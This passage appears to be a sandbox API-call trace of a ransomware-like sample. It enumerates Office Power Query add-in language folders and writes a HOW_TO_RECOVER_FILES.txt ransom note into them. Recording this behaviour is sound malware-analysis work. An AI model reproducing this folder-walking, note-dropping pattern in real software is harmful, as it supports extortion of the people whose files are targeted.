lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn", lpFilePart=0x0) returned 0x6d [0217.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.547] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.547] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0217.547] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0217.547] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b14875, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b14875, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b3aadd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0217.547] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0217.548] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.548] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0217.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0217.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0217.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn", lpFilePart=0x0) returned 0x6d [0217.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.549] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.550] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0217.550] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0217.550] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b14875, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b14875, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b3aadd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0217.550] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0217.550] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0217.550] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0217.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0217.551] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x86 [0217.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0217.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sr-latn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0217.553] GetFileType (hFile=0x82c) returned 0x1 [0217.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0217.553] GetFileType (hFile=0x82c) returned 0x1 [0218.216] WriteFile (in: hFile=0x82c, lpBuffer=0x37a1b38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x37a1b38*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0218.217] CloseHandle (hObject=0x82c) returned 1 [0218.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0218.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS", lpFilePart=0x0) returned 0x70 [0218.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0218.219] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.219] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae953d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae953d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaebb622, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0218.219] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0218.220] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0218.220] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0218.220] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.220] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0218.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0218.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0218.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0218.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS", lpFilePart=0x0) returned 0x70 [0218.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0218.222] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.222] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae953d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae953d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaebb622, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0218.222] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0218.222] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0218.222] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0218.224] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0218.225] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0218.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0218.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0218.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x89 [0218.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0218.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sr-latn-cs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0218.367] GetFileType (hFile=0x82c) returned 0x1 [0218.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0218.367] GetFileType (hFile=0x82c) returned 0x1 [0218.367] WriteFile (in: hFile=0x82c, lpBuffer=0x35dbe78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x35dbe78*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0219.191] CloseHandle (hObject=0x82c) returned 1 [0219.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv", lpFilePart=0x0) returned 0x68 [0219.192] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0219.192] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.193] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa25d2ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.193] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.193] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.193] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.193] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, 